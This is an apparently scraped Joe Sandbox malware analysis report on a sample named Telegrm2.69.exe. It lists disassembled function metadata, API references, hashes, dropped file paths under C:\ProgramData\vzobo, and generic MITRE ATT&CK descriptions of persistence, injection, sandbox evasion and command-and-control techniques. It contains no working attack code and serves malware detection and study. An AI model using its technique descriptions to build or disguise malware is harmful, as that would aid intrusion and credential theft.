Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 26f1d399d85a811bd1aefae5e1e74d4b58932a37f709c1676df34e39b3a0f0b3
Instruction ID: 7efed4b3638e7f405722817cedb26c654fa8a2a9c350c18dcd39d436da7c68be
Opcode Fuzzy Hash: 26f1d399d85a811bd1aefae5e1e74d4b58932a37f709c1676df34e39b3a0f0b3
Instruction Fuzzy Hash: F3018072180A81C6EB70FF21846CBFD23A4F764B5AF490921C90D6B74ACB21C5849B04

Function 0000021497F3FC18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0000021497F3FC36

Part of subcall function 0000021497F3581C: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000021497F33332), ref: 0000021497F35897

std::exception::exception.LIBCMT ref: 0000021497F3FC70

Part of subcall function 0000021497F33854: std::exception::operator=.LIBCMT ref: 0000021497F33870

Strings

regular expression error, xrefs: 0000021497F3FC20

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: std::exception::exception$ExceptionRaisestd::exception::operator=
String ID: regular expression error
API String ID: 958326869-2947193470
Opcode ID: ff8c2e4f42a0520cba126fe10ee74a09866bc8aa3b4b7254a67f0fb6c7d3fc4e
Instruction ID: 28a2d05d1b5682a66f86c4e8841bd20ba18d64dbe22d62fae9929656c7f098e2
Opcode Fuzzy Hash: ff8c2e4f42a0520cba126fe10ee74a09866bc8aa3b4b7254a67f0fb6c7d3fc4e
Instruction Fuzzy Hash: 29F0D132204B4AE2DB10EF50F4988CA7360F368385F404811EB8C17B2DEB38C599CF00

Function 0000021497F2F130 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 0000021497F2F166
wsprintfW.USER32 ref: 0000021497F2F184

Part of subcall function 0000021497F2EF20: FindFirstFileW.KERNEL32 ref: 0000021497F2EFF0

Strings

%s%s, xrefs: 0000021497F2F175

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: FileFindFirstFolderKnownPathwsprintf
String ID: %s%s
API String ID: 2506083511-3252725368
Opcode ID: cf0cb94e8e76bd572306bd30864732f376da17c4046eae9bd0e18817c63ecf81
Instruction ID: 214834c5957d0e12779a774d57769ab1591ecb7ad1b0704d2610e314bc6492d3
Opcode Fuzzy Hash: cf0cb94e8e76bd572306bd30864732f376da17c4046eae9bd0e18817c63ecf81
Instruction Fuzzy Hash: 7401443131498582EA20EB21F8ADBEB6360F799BC9F805411EA8D5761CDE3CC145CF04

Function 0000021497C4D7B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497C4D7B6
__doserrno.LIBCMT ref: 0000021497C4D7C1

Strings

M, xrefs: 0000021497C4D7B0

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: __doserrno_errno
String ID: M
API String ID: 921712934-3664761504
Opcode ID: 55f1f2b5d4f88ce944560703f07ace5cba4083014a431a69087704bf253f0c3d
Instruction ID: 9ac339c80ca0162605f26b97cdcbc645d835707e0f68463294ee9358586d535f
Opcode Fuzzy Hash: 55f1f2b5d4f88ce944560703f07ace5cba4083014a431a69087704bf253f0c3d
Instruction Fuzzy Hash: EBE0DF7224C6084DF3087F14E4077F83BC0FB53331F80414AE0EE465C2DA7A00024B41

Function 00007FF60017A450 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF60017A481
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00000003,00007FF600178995), ref: 00007FF60017A49B

Strings

InitializeCriticalSectionEx, xrefs: 00007FF60017A462, 00007FF60017A475

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: ea3bbbd1d9426669e13d278dee503b85decd3218e17dc90cdb93af113aee1925
Instruction ID: 8ffff4df50955238d9f44bcdd1a1bb87677efbf15a13e1190903659a04a97579
Opcode Fuzzy Hash: ea3bbbd1d9426669e13d278dee503b85decd3218e17dc90cdb93af113aee1925
Instruction Fuzzy Hash: AAF0BE21F18E51E2E7058B81E4440A93221EF88BA0FA844B5EA0E83B1CCEBCD685C340

Function 00007FF60017A3FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF60017A425
TlsSetValue.KERNEL32(?,?,000039A96F468CAB,00007FF6001775AE,?,?,000039A96F468CAB,00007FF600172559,?,?,?,?,00007FF6001777A2,?,?,00000000), ref: 00007FF60017A43C

Strings

FlsSetValue, xrefs: 00007FF60017A409, 00007FF60017A412

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: dc19925df7054c3da7d384d372df0438c0b9b9f5ff54b080332979567a3050fc
Instruction ID: 21056098d89c9dcfe71f77e9cade7125fdbbd05b8ce364d91a2802c4968d7257
Opcode Fuzzy Hash: dc19925df7054c3da7d384d372df0438c0b9b9f5ff54b080332979567a3050fc
Instruction Fuzzy Hash: 13E06561A08A42E1EB054BD1E8444B82262EF88780FE844B6D51E8635CCE7CEA858301

Function 0000021497F3DDF8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497F3DDFE
__doserrno.LIBCMT ref: 0000021497F3DE09

Strings

M, xrefs: 0000021497F3DDF8

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: __doserrno_errno
String ID: M
API String ID: 921712934-3664761504
Opcode ID: 88e3740ee09343cd30c38a3a770d6118f1510097ede86d60084724bf1f3c4cd7
Instruction ID: f519e00a2f2e3cd9465f0f93ff0521e0e080fdd902641877db5050e385189997
Opcode Fuzzy Hash: 88e3740ee09343cd30c38a3a770d6118f1510097ede86d60084724bf1f3c4cd7
Instruction Fuzzy Hash: 94E0E67350054049F753BF64F455B9A265057513B9F41C611EB6C065C6CB7C84CB8B10

Function 0000021497C35B08 Relevance: 5.1, APIs: 4, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 0000021497C35B43

Part of subcall function 0000021497C436E0: _errno.LIBCMT ref: 0000021497C43700

free.LIBCMT ref: 0000021497C35B6B
free.LIBCMT ref: 0000021497C35B85
free.LIBCMT ref: 0000021497C35BB3

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: b863403ab495316a5b6b17ca1e1e139bea759e5f61c69152686c6568255f01be
Instruction ID: eadace2038dbf019eb6a8e8904da5f26efbf4ee73d3ed19ff22e39254b30f68e
Opcode Fuzzy Hash: b863403ab495316a5b6b17ca1e1e139bea759e5f61c69152686c6568255f01be
Instruction Fuzzy Hash: 59217F31254E4A5FDBA0FF2DD099FA673E1FBA8301F450968940DD3696CE30E8428B40

Function 0000021497F26150 Relevance: 5.1, APIs: 4, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 0000021497F2618B

Part of subcall function 0000021497F33D28: HeapFree.KERNEL32(?,?,00000000,0000021497F34940,?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA), ref: 0000021497F33D3E
Part of subcall function 0000021497F33D28: _errno.LIBCMT ref: 0000021497F33D48
Part of subcall function 0000021497F33D28: GetLastError.KERNEL32(?,?,00000000,0000021497F34940,?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA), ref: 0000021497F33D50

free.LIBCMT ref: 0000021497F261B3
free.LIBCMT ref: 0000021497F261CD
free.LIBCMT ref: 0000021497F261FB

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: 49d45eedc48c0d8e1f115a64ee84916a85c82a77571192eddabdc062e6e56858
Instruction ID: b5b6b4f1ec5d2900fe5c7a4b17c2979dad664234987e5e6ef08ddbe456c3d6bf
Opcode Fuzzy Hash: 49d45eedc48c0d8e1f115a64ee84916a85c82a77571192eddabdc062e6e56858
Instruction Fuzzy Hash: 87210E31301B8581EE15FF12E6687EAA360EB64FD2F086821DF4D67B9ADF24D4518B40

Function 0000021497F32020 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0000021497F3209A
VirtualFree.KERNEL32(?,?,00000000,0000021497F31EDE,?,?,?,0000021497F2E182), ref: 0000021497F320B5
GetProcessHeap.KERNEL32(?,?,00000000,0000021497F31EDE,?,?,?,0000021497F2E182), ref: 0000021497F320BB
HeapFree.KERNEL32(?,?,00000000,0000021497F31EDE,?,?,?,0000021497F2E182), ref: 0000021497F320C9

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: FreeHeap$ProcessVirtualfree
String ID:
API String ID: 4282497734-0
Opcode ID: 3b9f99c55452a2da9007e377bfe996ac61a1e50bdcc6d0c570a87083eee3be1a
Instruction ID: 19f85c606402817dbc067e147f6940e223baa81203d54585503a89d3046f747d
Opcode Fuzzy Hash: 3b9f99c55452a2da9007e377bfe996ac61a1e50bdcc6d0c570a87083eee3be1a
Instruction Fuzzy Hash: ED118172711A5483EB54EF26D46875E63A0FB94FC6F045411DE4E2765CCF34C896CB40

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Telegrm2.69.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\vzobo\arphaCrashReport64.exe

C:\ProgramData\vzobo\arphaDump64.dll

C:\Windows\Temp\49ba59abbe56e057.log

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
Telegrm2.69.exe

Function 03623560 Relevance: 43.9, APIs: 11, Strings: 14, Instructions: 188
librarystringprocessCOMMON

Function 036217D0 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 112
libraryloaderregistryCOMMON

Function 036214C0 Relevance: 38.7, APIs: 14, Strings: 8, Instructions: 174
libraryloaderregistryCOMMON

Function 03624530 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 145
librarymemoryloaderCOMMON

Function 03630180 Relevance: 21.6, APIs: 8, Strings: 4, Instructions: 568
COMMON

Function 036374B8 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 292
timeCOMMONLIBRARYCODE

Function 02BE8909 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 249
networkmemorynativeCOMMON

Function 03621E80 Relevance: 13.7, APIs: 9, Instructions: 220
memorythreadCOMMON

Function 036221C0 Relevance: 13.6, APIs: 9, Instructions: 97
networkCOMMON

Function 03330020 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 457
memorynativeCOMMON

Function 0362FCF0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 292
fileCOMMON

Function 03621BF0 Relevance: 19.7, APIs: 13, Instructions: 152
networktimeCOMMON

Function 03624430 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58
windowregistryCOMMON

Function 03630682 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 223
registryCOMMON

Function 036330BC Relevance: 9.1, APIs: 6, Instructions: 63
threadCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre